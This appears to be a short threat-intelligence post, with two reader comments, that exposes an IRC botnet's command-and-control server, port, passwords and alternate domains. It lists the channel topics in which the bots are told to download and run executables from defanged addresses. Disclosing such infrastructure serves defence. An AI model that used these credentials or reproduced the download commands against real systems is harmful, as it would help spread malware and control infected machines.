Resolved m.jamtes.com to 60.172.228.177
Server: m.jamtes.com
Port: 7384
Server password: smart
Channel: #spd
Channel password: smart
Channel topic #spd: !mod pdef on !mdns hxxp://146.185.246.240/avxd.gif !dl hxxp://146.185.246.190/msx6971.exe !dl hxxp://146.185.246.104/dqs.exe !s -o !j #1,#2 !dl hxxps://hotfile.com/dl/203712010/822c38b/skybe.exe
Channel topic #1: !dl hxxp://146.185.246.116/mailsw7.exe !dl hxxp://146.185.246.116/lmqw7.exe !dl hxxp://146.185.246.116/five192w7.exe !dl hxxp://146.185.246.116/five172w7.exe
Channel topic #2: !dl hxxp://146.185.246.116/tefw7.exe !dl hxxp://146.185.246.116/p98w7.exe !dl hxxp://146.185.246.116/p18w7.exe !dl hxxp://146.185.246.116/p130w7.exe !dl hxxp://146.185.246.116/mixw7.exe
Channel topic #XP: !dl hxxp://146.185.246.190/msx6971.exe
Alternate domains:
m.foultouch.com
m.artiho.com
The irc server used is modified which may prevent normal clients from connecting.
Hosting infos: http://whois.domaintools.com/60.172.228.177
Anonymous - April 21, 2013 at 10:06 pm
Any sample files or spreaders? Links are dead.
I_Post_Ur_Info - April 22, 2013 at 7:18 pm
Search for any of the filenames on https://malwr.com/analysis/search/
I've uploaded all of them as publicly available samples.